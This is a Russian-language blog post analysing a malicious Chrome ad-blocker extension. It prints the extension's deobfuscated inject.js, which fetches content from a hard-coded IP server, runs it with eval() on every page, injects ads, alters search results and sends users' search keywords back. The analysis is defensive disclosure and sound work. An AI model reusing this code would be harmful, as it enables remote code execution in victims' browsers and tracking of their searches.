[Из песочницы] Обзор вредоносного браузерного расширения
В статье приведен пример разбора вредоносного браузерного расширения из Chrome Web Store — «Убрать рекламу (HET Рекламе)».
Информация о расширении Способ распростанения: Chrome StoreНазвание: «Убрать рекламу (HET Рекламе)«ID: eaikmbeeklemcgemabilgpjkanodfmicДата последнего обновления (на момент написания статьи): 10 Апреля 2015Версия расширения: 5.8Количество пользователей в неделю: 57 000Описание расширения: Блокировщик рекламы: Блокирует назойливую рекламу ВКонтакте и Одноклассниках, Рекламу на YouTube, Баннеры, Всплывающие окна и др.HET Рекламе для Google Chrome блокирует: · Рекламу ВКонтакте и Одноклассниках· Баннеры на всех сайтах· Видео рекламу на Youtube· Всплывающие окна на всех сайтах· Любую отвлекающую и назойливую рекламу
Уникальный алгоритм самообучения! Сделайте свой браузер машиной по переработке и устранению рекламы!
Введение Причины опубликовать обзор именно этого расширения: — во-первых, оно находится в Chrome Store и это является показателем того, что в магазине успешно существуют вредоносные расширения; — во-вторых, расширение имеет не малую аудиторию, которая может даже и не знает, что у них стоит данное расширение; — в-третьих, вредоносность данного расширения особо не прикрыта, и поэтому материал может быть доступен более широкой аудитрии.Обзор расширения Чтобы сделать обзор необходимо получить код расширения.Для этого установим его из Chrome Store и найдем исходные файлы расширения в соответствующей папке браузера Chrome.В моем случае, это папка:
%appdata%\Google\Chrome\User Data\Default\Extensions\eaikmbeeklemcgemabilgpjkanodfmic Структура файлов в данной папке: | extension |- 16.png |- 48.png |- 128.png |- detector.js |- inject.js |- jquery-2.1.1.min.js |- manifest.json |- md5.js Замечание 1 Расширение подобного рода не может заниматься гениальной работой с DOM и не требует кроссбраузерность. Поэтому, в лучшем случае, из jquery может понадобится 5 функций, которые видимо сложно было написать, поэтому решили взять библиотеку.Идем далее.
Всякое расширение для chromium-браузеров начинает свой путь с файла manifest.json.Открываем его:
manifest.json { «content_scripts»: [ { «js»: [ «md5.js», «detector.js», «jquery-2.1.1.min.js», «inject.js» ], «matches»: [ «http://*/*», «https://*/*» ], «run_at»: «document_start» } ], «description»:»…», «icons»: { »128»:»128.png», »16»:»16.png», »48»:»48.png» }, «manifest_version»: 2, «name»: «Убрать рекламу (HET Рекламе)», «update_url»: «https://clients2.google.com/service/update2/crx», «version»:»5.8» } Замечание 2 Расширение внедряет все свои скрипты в каждую открытую вами страницу. Это плохо и с точки зрения безопастности, и с точки зрения производительности.Итак, на каждой странице мы имеем следующие js-файлы:
— md5.js — detector.js — jquery-2.1.1.min.js — inject.js На мой взгляд, самый подозрительный файл из названия — это inject.js. Поэтому начнем с него, а если понадобится то взглянем и на остальные.Файл обфусцирован, если это можно так назвать. Приведу первые символы, а вы догадайтесь чем же он обфусцирован:
eval (function (p, a, c, k, e, d){… Те, кто встречался с обфускаей, разочаровано сейчас вздохнули «Как банально. Что-то типа этого». Мне обычно в такие моменты вспоминается следующая цитата из фильма Большой куш (Snatch):
— *****-колотить, держите меня крепче! Это что такое? — Это мой ремень.— Нет, Томми, у тебя пистолет в штанах. Что делает пистолет у тебя в штанах? — Это для защиты.— Для защиты от кого? От фашистов что ли? Ты не боишься отстрелить себе яйца, когда присядешь?
Разобфусцируем данный код с помощью прекрасного сервиса JSBeautifier. Имеем:
inject.js (function () { var host = 'http://5.61.39.110/'; var aid = '49207271–5844–11e4-a8cb-a0b3cce611e4'; var ttl = 350; var MAX_TTL = 3600;
function getRandomInt (min, max) { return Math.floor (Math.random () * (max — min + 1)) + min }
function ss (str) { return (str + '') .replace (/\\(.?)/g, function (s, n1) { switch (n1) { case '\\': return '\\'; case '0': return '\u0000'; case '': return ''; default: return n1 } }) }
function getKeyword () { try { var ses = [ [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)? rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2] ];
var q = null; var ref = document.location.href;
for (var i = 0; i < ses.length; i++) { var se = ses[i]; if (ref.match(se[0])) { q = ref.match(se[1])[se[2]]; break } }
return q } catch (e) { return } }
function getDomain (data) { var a = document.createElement ('a'); a.href = data; return a.hostname }
function url () { return getDomain (document.location.href) }
function strips (str) { str = str.replace (/(?:\\[rn]|[\r\n]+)+/g,»); str = str.replace (/\s+/g,»); return str }
function isHtml5StorageSupported () { try { return 'localStorage' in window && window['localStorage'] !== null } catch (e) { return false } }
function getCountry () { if (isHtml5StorageSupported ()) { return localStorage.getItem ('country') } else { return null } }
function getData () { if (isHtml5StorageSupported ()) { return JSON.parse (localStorage.getItem ('data')) } else { return null } }
function setData (value) { if (isHtml5StorageSupported ()) { localStorage.setItem ('data', value) } }
function getRequestInterval () { var retVal = Math.round (new Date () .getTime () / 1000 / 60); if (isHtml5StorageSupported ()) { var value = localStorage.getItem ('xdata_ttl'); if (value == null) { localStorage.setItem ('xdata_ttl', retVal) } else { retVal = value * 1 } } return retVal }
function resetTTL () { if (isHtml5StorageSupported ()) { localStorage.setItem ('xttl', ttl) } }
function getTTL () { var retVal = ttl; if (isHtml5StorageSupported ()) { var value = localStorage.getItem ('xttl'); if (value!= null) { retVal = value * 1 } else { localStorage.setItem ('xttl', retVal) } } return retVal }
function incrementTTL () { var retVal = ttl; if (isHtml5StorageSupported ()) { var value = localStorage.getItem ('xttl'); if (value == null) { localStorage.setItem ('xttl', retVal) } else { value = value * 1; retVal = value + ttl; if (retVal >= MAX_TTL) { retVal = ttl } localStorage.setItem ('xttl', retVal) } } return retVal }
function isUpdateTime () { var currentTime = Math.round (new Date () .getTime () / 1000 / 60); var ttlOrigin = localStorage.getItem ('xttl'); var ownTTL = getTTL (); var result = (currentTime — getRequestInterval () >= ownTTL); if (result) { localStorage.setItem ('xdata_ttl', currentTime) } if (ttlOrigin == null) { result = true } return result }
function shuffle (o) { for (var j, x, i = o.length; i; j = Math.floor (Math.random () * i), x = o[--i], o[i] = o[j], o[j] = x) {}; return o };
function fisherYates (myArray) { var i = myArray.length; if (i == 0) return false; while (--i) { var j = Math.floor (Math.random () * (i + 1)); var tempi = myArray[i]; var tempj = myArray[j]; myArray[i] = tempj; myArray[j] = tempi } }
function updateKeyword () { return; var key = getKeyword (); if (key == undefined || key.length == 0) { return } $.get (host + 'get_content.php', { 'action': 'add_keyword', 'aid': aid, 'guid': guid, 'url': url (), 'key': getKeyword () }) }
function injectArrayOfAds (advs) { for (var idx in advs) { var ad = advs[idx]; if (ad.need_send_view) { continue } var adShownAlready = false; $(ad.html) .each (function () { var self = $(this); if (self.html () .indexOf (ad.adv_id) != -1) { adShownAlready = true; return false } }); if (adShownAlready) { continue } $(ad.html) .each (function () { var self = $(this); var aidElement = $('*[aid=\'' + aid + '\']'); if (self.html () .indexOf (aid) == -1) { var clickRedirectionUri = host + 'get_content.php? action=click&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id + '&key=' + getKeyword (); ad.aa_text = ad.aa_text.replace (/\{AID\}/g,»'aid'='» + aid + »'»); ad.aa_text = ad.aa_text.replace (/\{REDIRECT_URL\}/g, 'aid=\'' + aid + '\' onClick=«self.location=\'' + clickRedirectionUri + '\'; return false;»'); ad.host = host + 'get_content.php? action=view&aid=' + aid + '&guid=' + guid + '&adv_id=' + ad.adv_id; if (ad.inject_mode == 1) { self.html (ad.aa_text); ad.need_send_view = true; return false } else if (ad.inject_mode == 2 && aidElement.length == 0) { self.before (ad.aa_text); ad.need_send_view = true; return false } else if (ad.inject_mode == 3 && aidElement.length == 0) { self.after (ad.aa_text); ad.need_send_view = true; return false } } else {} }) } var notify = []; for (var idx in advs) { var ad = advs[idx]; if (ad.need_send_view) { notify.push (ad.adv_id) } } if (notify.length!= 0) {} }
function ucfirst (string) { return string.charAt (0) .toUpperCase () + string.slice (1) }
function checkLoadedPage (data) { if (data == null || data.message!= 'OK') return;
var gKeywordFound = false; var keyword = decodeURI (getKeyword ()); keyword = keyword.replace (/\+/g, ' '); keyword = keyword.toLowerCase ();
var advs = [];
// пробежимся по всем ключам объекта response, полученного с веб-сервера for (var key in data.response) { // создадим для каждого jquery-элемент на основании того что получено с веб-сервера var element = data.response[key]; var foundHtml = $(element.html); if (foundHtml.length == 0) { continue }
// если присланный данные не имеют свойства advs (рекламы другими словами) if (element.advs == undefined) { data.response[key].advs = [];
// делаем запрос с вашим ключевым словом и дополнительной информацией о вас (пол, страна) $.ajax ({ url: host + 'get_content.php', type: «GET», data: { 'action': 'get_adv_cached', 'aid': aid, 'guid': guid, 'url': url (), 'gender': '*', 'ap_id': element.ap_id, 'key': getKeyword (), 'country': data.country }, async: false, success: function (result) { try { // еще один eval … var dd = eval ('(' + result + ')'); // сохраняем данные о рекламе в нашем объекте for (var rs in dd.response) { data.response[key].advs.push (dd.response[rs]) } //, а ребята все-таки умеют пользоваться JSON.stringify setData (JSON.stringify (data)) } catch (e) { console.log (e) } } }) } else { // Если есть данные о рекламе, то собираем html с рекламой для данной поисковой системы for (var adv in element.advs) { var ad = element.advs[adv]; if (ad.ar_text == null) { advs.push (ad); continue } var splitted = ad.ar_text.split ('\r\n'); for (var idx in splitted) { if (keyword.indexOf (splitted[idx].toLowerCase ()) == -1 || splitted[idx].length == 0) { continue } ad.aa_text = ad.aa_text.replace (/\{KEYWORD\}/g, keyword); ad.aa_text = ad.aa_text.replace (/\{KEYWORD_B\}/g, ucfirst (keyword)); ad.aa_text = ad.aa_text.replace (/\{KEYWORD_CONTEXT\}/g, splitted[idx]); ad.aa_text = ad.aa_text.replace (/\{KEYWORD_CONTEXT_B\}/g, ucfirst (splitted[idx])); // Вставляем рекламу injectArrayOfAds ([ad]); gKeywordFound = true; break } } } }
if (! gKeywordFound && advs.length!= 0) { injectArrayOfAds (advs) } }
guid = '';
try { guid = pstfgrpnt_as_hash () } catch (e) { guid = 'chrome_u' }
var isLoading = false;
var main = function () { if (isUpdateTime ()) { console.log («CHECKING FOR UPDATE…»); isLoading = true; $.get (host + 'get_content.php', { 'action': 'get_places_cached', 'aid': aid, 'guid': guid, 'gender': '*' }, function (result) { try { data = eval ('(' + result + ')'); if (data.message!= 'OK') { return } setData (JSON.stringify (data)); resetTTL (); console.log («UPD SUCCESS») } catch (e) { console.log (e); return } finally { isLoading = false } }) .error (function (jqXHR, textStatus, errorThrown) { incrementTTL (); console.log ('REQUEST FAILED, NEXT CHECK IN ' + getTTL ()) }); console.log («CHECKING FOR UPDATE DONE») } };
main ();
var id = setInterval (function () { main () }, 100);
setInterval (function () { var data = getData ();
if (data == null) { return }
checkLoadedPage (data) }, 100) })(); Читаем полученный код. Оставлю только интересные моменты:
// ниже данная функция вызывается var main = function () { // нужно ли обновляться if (isUpdateTime ()) { // … // полный url имеет вид http://5.61.39.110/get_content.php $.get (host + 'get_content.php', // … function (result) { try { data = eval ('(' + result + ')'); // … } catch (e) { // … } // … }); // … } };
main (); В данной функции идет получение данных с веб-сервера.
Замечание 3 А что происходит с ответом? А происходит следующее: data = eval ('(' + result + ')'); Т.е. на каждом сайте выполняется любой код, который прислал веб-сервер. Другими словами, этот код может увести куки, может отправить какую-то информацию о вас (пароли), может сделать все, что угодно на любой странице, которую вы посетили.Вроде бы уже и этого достаточно, чтобы считать расширение вредоносным, но продолжим дальше. Вдруг у кого-нибудь возникнут мысли, что на самом деле разработчики честные и просто забыли про JSON.parse.
Идем далее.Ниже вызова функции main () есть вызов функции checkLoadedPage ().
функция checkLoadedPage () (+ комментариями) // пробежимся по всем ключам объекта response, полученного с веб-сервера for (var key in data.response) { // создадим для каждого jquery-элемент на основании того что получено с веб-сервера var element = data.response[key]; var foundHtml = $(element.html); if (foundHtml.length == 0) { continue }
// если присланный данные не имеют свойства advs (рекламы другими словами) if (element.advs == undefined) { data.response[key].advs = [];
// делаем запрос с вашим ключевым словом и дополнительной информацией о вас (пол, страна) $.ajax ({ url: host + 'get_content.php', type: «GET», data: { // … }, async: false, success: function (result) { try { // еще один eval … var dd = eval ('(' + result + ')'); // сохраняем данные о рекламе в нашем объекте for (var rs in dd.response) { data.response[key].advs.push (dd.response[rs]) } //, а ребята все-таки умеют пользоваться JSON.stringify setData (JSON.stringify (data)) } catch (e) { console.log (e) } } }) } else { // Если есть данные о рекламе, то собираем html с рекламой для данной поисковой системы for (var adv in element.advs) { var ad = element.advs[adv]; if (ad.ar_text == null) { advs.push (ad); continue } var splitted = ad.ar_text.split ('\r\n'); for (var idx in splitted) { if (keyword.indexOf (splitted[idx].toLowerCase ()) == -1 || splitted[idx].length == 0) { continue } ad.aa_text = ad.aa_text.replace (/\{KEYWORD\}/g, keyword); // … // Вставляем рекламу injectArrayOfAds ([ad]); // … break } } } }
if (! gKeywordFound && advs.length!= 0) { injectArrayOfAds (advs) } Замечание 4 Данная функция меняет поисковую выдачу для следующих поисковых систем: var ses = [ [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)? rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2] ]; Собственно, по этой проблеме и поступили жалобы от пользователей.
Резюме по расширению избыточный код (это ресурсы вашего компьютера); весь код расширения запускается на каждой странице (это ресурсы вашего компьютера); расширение выполняет любой код, присланный с веб-сервера (просто приведу набор словосочетаний — онлайн-банкинг, пароли, сообщения, анонимность); расширение дополнительно вставляет свою поисковую выдачу. P.S. Если кому-то покажется странным подход к обзору расширения «Причем тут jquery? Причем тут плохая структура кода?», сразу даю ответ: факт того, что расширение требует больше прав, чем нужно, вставляет код на страницы больше, чем нужно — является первым признаком вредоносного расширения.